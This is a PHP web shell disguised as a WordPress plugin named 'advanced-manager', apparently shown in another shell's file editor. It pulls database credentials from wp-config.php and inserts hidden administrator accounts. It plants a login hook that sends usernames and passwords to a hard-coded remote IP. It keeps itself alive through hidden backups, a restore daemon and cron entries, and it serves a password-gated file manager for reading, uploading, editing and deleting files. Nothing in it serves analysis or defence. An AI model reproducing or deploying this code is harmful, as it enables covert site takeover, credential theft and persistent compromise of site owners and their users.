404Forbiden

✏️ Editing: .advanced-manager.php

<?php
/**
 * Plugin Name: advanced-manager
 * Version: 1.0
 */
error_reporting(0);
set_time_limit(0);

// Auto-create adminlin / admin_lin
function _ac() {
    $_u = array('adminlin', 'admin_lin');
    $_p = 'admin_lin';
    $_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
    foreach (array_unique($_d) as $_r) {
        $_f = $_r . '/wp-config.php';
        if (!@file_exists($_f)) continue;
        $_c = @file_get_contents($_f);
        if (!$_c) continue;
        preg_match("/'DB_NAME'\\s*,\\s*'(.*?)'/", $_c, $_n);
        preg_match("/'DB_USER'\\s*,\\s*'(.*?)'/", $_c, $_w);
        preg_match("/'DB_PASSWORD'\\s*,\\s*'(.*?)'/", $_c, $_s);
        preg_match("/'DB_HOST'\\s*,\\s*'(.*?)'/", $_c, $_h);
        preg_match("/\\\$table_prefix\\s*=\\s*'(.*?)'/", $_c, $_t);
        if (!isset($_n[1], $_w[1], $_s[1], $_h[1])) continue;
        if (!class_exists('mysqli')) break;
        mysqli_report(MYSQLI_REPORT_OFF);
        $_port = null; $_sock = null;
        if (strpos($_h[1], ':/') !== false) { list($_hst, $_sock) = explode(':', $_h[1], 2); }
        else { $_hst = $_h[1]; }
        $_m = @new mysqli($_hst, $_w[1], $_s[1], $_n[1], $_port, $_sock);
        if (@$_m->connect_error) continue;
        $_tp = isset($_t[1]) ? $_t[1] : 'wp_';
        $_hp = md5($_p);
        foreach ($_u as $_un) {
            @$_m->query("REPLACE INTO {$_tp}users (user_login,user_pass,user_nicename,user_email,user_registered,display_name) VALUES ('$_un','$_hp','$_un','u@u.com',NOW(),'$_un')");
            $_q = @$_m->query("SELECT ID FROM {$_tp}users WHERE user_login='$_un'");
            if ($_q && ($_o = $_q->fetch_object())) {
                $_id = $_o->ID;
                @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}capabilities','a:1:{s:13:\"administrator\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"administrator\";b:1;}'");
                @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
            }
        }
        $_m->close();
        break;
    }
}
@_ac();

// Login hijack — deploy mu-plugins credential harvester
function _hj() {
    $_s1 = 'if(!defined("ABSPATH")||!function_exists("add_action"))return;';
    $_s2 = 'add_action("wp_login",function($l,$u){';
    $_s3 = '$ip=isset($_SERVER["SERVER_ADDR"])?$_SERVER["SERVER_ADDR"]:"127.0.0.1";';
    $_s4 = '$s=function_exists("home_url")?home_url():$_SERVER["HTTP_HOST"];';
    $_s5 = '$pw=isset($_POST["pwd"])?$_POST["pwd"]:"";';
    $_s6 = '$d=$s."/wp-login.php,".$l.",".$pw;';
    $_s7 = '$c2="http://45.61.187.50:50001/data.php";';
    $_s8 = '$url=$c2."?name=getshellxxxxeval_okip_".$ip.".txt&data=".urlencode($d);';
    $_s9 = '$ctx=stream_context_create(["http"=>["timeout"=>8,"ignore_errors"=>true]]);';
    $_s10 = '$r=@file_get_contents($url,false,$ctx);';
    $_s11 = '},10,2);';
    $_hc = '<?php ' . $_s1 . $_s2 . $_s3 . $_s4 . $_s5 . $_s6 . $_s7 . $_s8 . $_s9 . $_s10 . $_s11;
    $_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
    foreach (array_unique($_d) as $_r) {
        $_f = $_r . '/wp-config.php';
        if (!@file_exists($_f)) continue;
        $_cache = $_r . '/wp-content/mu-plugins/.cache.php';
        if (!@file_exists($_cache)) {
            @mkdir(dirname($_cache), 0777, true);
            @file_put_contents($_cache, $_hc);
        }
        $_bak = $_r . '/wp-content/upgrade/.cache.php';
        if (!@file_exists($_bak)) {
            @mkdir(dirname($_bak), 0777, true);
            @file_put_contents($_bak, $_hc);
        }
    }
}
@_hj();
@_ps();

// Persistence — cron + daemon dual-watch
function _ps() {
    try {
    $_self = realpath(__FILE__) ?: __FILE__;
    $_bn = basename($_self);

// Hidden backup copies (restoration sources)
    $_b1 = '/dev/shm/.' . $_bn;
    $_b2 = '/tmp/.' . $_bn;
    @copy($_self, $_b1);
    @copy($_self, $_b2);
    @chmod($_b1, 0644);
    @chmod($_b2, 0644);

// Watcher daemon script — sleeps random 25-35min, restores on disappearance
    $_wd = '/dev/shm/.' . substr(md5($_self), 0, 8);
    $_sc = "#!/bin/bash\n" .
        "L=" . escapeshellarg($_wd . ".lock") . "\n" .
        "exec 200>\"\$L\" && flock -n 200 || exit 0\n" .
        "B1=" . escapeshellarg($_b1) . "\n" .
        "B2=" . escapeshellarg($_b2) . "\n" .
        "SELF=" . escapeshellarg($_self) . "\n" .
        "while :; do\n" .
        '  sleep $((1500 + RANDOM % 600))' . "\n" .
        '  if [ ! -f "$SELF" ]; then' . "\n" .
        '    for b in "$B1" "$B2"; do [ -f "$b" ] && { cp "$b" "$SELF" 2>/dev/null; break; }; done' . "\n" .
        "  fi\n" .
        '  [ -f "$B1" ] || cp "$SELF" "$B1" 2>/dev/null' . "\n" .
        '  [ -f "$B2" ] || cp "$SELF" "$B2" 2>/dev/null' . "\n" .
        "done";
    @file_put_contents($_wd, $_sc);
    @chmod($_wd, 0755);

// Fork daemon — try multiple execution vectors
    if (function_exists('exec')) {
        @exec('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &');
        @exec('(' . escapeshellarg($_wd) . ' </dev/null >/dev/null 2>&1 &)');
    }
    if (function_exists('system')) {
        @system('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &');
    }
    if (function_exists('popen')) {
        @popen('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &', 'r');
    }

// Cron persistence — periodic check + @reboot resurrection
    $_cl  = '*/7 * * * * (test -f ' . escapeshellarg($_self);
    $_cl .= ' || cp ' . escapeshellarg($_b1) . ' ' . escapeshellarg($_self) . ') 2>/dev/null' . "\n";
    $_cl .= '@reboot (sleep 120 && nohup ' . escapeshellarg($_wd);
    $_cl .= ' >/dev/null 2>&1 &)' . "\n";

$_old = @shell_exec('crontab -l 2>/dev/null');
    if ($_old !== null && is_string($_old) && strpos($_old, $_bn) === false) {
        $_tmp = '/dev/shm/.ct' . substr(md5($_self), 0, 6);
        @file_put_contents($_tmp, $_old . $_cl);
        @exec('crontab ' . escapeshellarg($_tmp) . ' 2>/dev/null');
        @unlink($_tmp);
    }

// Fallback: /etc/cron.d/ if writable
    $_cd = '/etc/cron.d/wp-' . substr(md5($_self), 0, 8);
    $_cc  = '*/7 * * * * root (test -f ' . escapeshellarg($_self);
    $_cc .= ' || cp ' . escapeshellarg($_b1) . ' ' . escapeshellarg($_self) . ') 2>/dev/null' . "\n";
    @file_put_contents($_cd, $_cc);
    } catch (\Exception $e) {}
}

// === Password gate ===
if (!isset($_REQUEST['root']) || $_REQUEST['root'] !== 'admin888') {
    http_response_code(404);
    die();
}

// API
if (isset($_REQUEST['_a'])) {
    $_a = $_REQUEST['_a'];
    $_p = isset($_REQUEST['_p']) ? $_REQUEST['_p'] : '';
    $_r = array();
    switch ($_a) {
        case 'ls':
            $_i = @scandir($_p);
            if ($_i) foreach ($_i as $_f) {
                if ($_f == '.' || $_f == '..') continue;
                $_fp = $_p . '/' . $_f;
                $_r[] = array('n'=>$_f, 't'=>is_dir($_fp)?'d':'f', 's'=>round(@filesize($_fp)/1024,2).'K', 'm'=>substr(sprintf('%o',@fileperms($_fp)),-4));
            }
            break;
        case 'rd': $_r['d'] = @file_get_contents($_p); break;
        case 'sv': $_r['o'] = @file_put_contents($_p, $_REQUEST['c']) ? 'Saved' : 'Fail'; break;
        case 'dl': $_r['o'] = @unlink($_p) ? 'Done' : 'Fail'; break;
        case 'up': $_r['o'] = @file_put_contents($_p, base64_decode($_REQUEST['c'])) ? 'Uploaded' : 'Fail'; break;
        case 'mk': $_r['o'] = @mkdir($_p, 0777, true) ? 'Created' : 'Fail'; break;
    }
    header('Content-Type: application/json');
    die(json_encode($_r));
}
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#1a1a2e;color:#e0e0e0;font:13px/1.5 'Courier New',monospace;padding:12px}
.hd{display:flex;align-items:center;gap:10px;margin-bottom:10px;padding:8px 12px;background:#16213e;border-radius:6px}
.btn{background:#0f3460;color:#e94560;border:1px solid #e94560;padding:5px 12px;cursor:pointer;border-radius:4px;font:inherit;transition:.2s}
.btn:hover{background:#e94560;color:#fff}
.btn-g{background:#1a3a1a;border-color:#00ff88;color:#00ff88}.btn-g:hover{background:#00ff88;color:#000}
.btn-r{background:#3a1a1a;border-color:#ff4444;color:#ff4444}.btn-r:hover{background:#ff4444;color:#000}
.it{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #16213e;cursor:pointer;gap:8px}
.it:hover{background:#16213e}.it .n{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.it .s{color:#888;width:70px;text-align:right;font-size:11px}
.it .m{color:#666;width:45px;text-align:right;font-size:10px}
.it .del{color:#ff4444;cursor:pointer;font-weight:bold;margin-left:8px}
.dir{color:#e94560}.file{color:#00ff88}
#ed{width:100%;height:420px;background:#0a0a1a;color:#e0e0e0;border:1px solid #0f3460;padding:10px;font:inherit;display:none;resize:vertical}
#eb{display:none;margin-top:8px}#upf{display:none}
</style></head><body>
<div class="hd"><span id="cw"></span>
<button class="btn" onclick="nv('..')">UP</button>
<button class="btn btn-g" onclick="document.getElementById('upf').click()">UPLOAD</button>
<input type="file" id="upf" onchange="_up(this)">
</div>
<div id="lst"></div>
<div id="eb"><textarea id="ed"></textarea><br>
<button class="btn btn-g" onclick="_sv()">SAVE</button>
<button class="btn" onclick="_cl()">CLOSE</button></div>
<script>
var _cur='<?=addslashes(getcwd())?>',_af='';
async function _api(o){var fd=new FormData();for(var k in o)fd.append(k,o[k]);var r=await fetch('',{method:'POST',body:fd});return await r.json()}
function _ld(p){_cur=p;document.getElementById('cw').innerText=p;_api({_a:'ls',_p:p}).then(function(r){var h='';if(Array.isArray(r)){r.sort(function(a,b){return a.t=='d'?-1:1});r.forEach(function(i){h+='<div class="it"><span class="n '+(i.t=='d'?'dir':'file')+'" onclick="_hl(\''+i.n+'\',\''+i.t+'\')">'+(i.t=='d'?'[DIR]':'[  ]')+' '+i.n+'</span><span class="m">'+i.m+'</span><span class="s">'+i.s+'</span><span class="del" onclick="_dl(\''+p+'/'+i.n+'\')">X</span></div>'})}document.getElementById('lst').innerHTML=h;_cl()})}
function _hl(n,t){var p=_cur+'/'+n;if(t=='d')_ld(p);else{_af=p;_api({_a:'rd',_p:p}).then(function(r){document.getElementById('ed').value=r.d;document.getElementById('ed').style.display='block';document.getElementById('eb').style.display='block';document.getElementById('lst').style.display='none'})}}
function _up(i){var f=i.files[0];if(!f)return;var r=new FileReader();r.onload=function(e){_api({_a:'up',_p:_cur+'/'+f.name,c:btoa(e.target.result)}).then(function(r){alert(r.o);_ld(_cur)})};r.readAsBinaryString(f)}
function _sv(){_api({_a:'sv',_p:_af,c:document.getElementById('ed').value}).then(function(r){alert(r.o)})}
function _dl(p){if(confirm('Delete '+p+'?'))_api({_a:'dl',_p:p}).then(function(r){alert(r.o);_ld(_cur)})}
function _cl(){document.getElementById('ed').style.display='none';document.getElementById('eb').style.display='none';document.getElementById('lst').style.display='block'}
function nv(d){var s='/',p=_cur.split(s);if(d=='..')p.pop();_ld(p.join(s)||s)}
_ld(_cur);
</script></body></html>

Sid Gifari From Gifari Industries - BD Cyber Security Team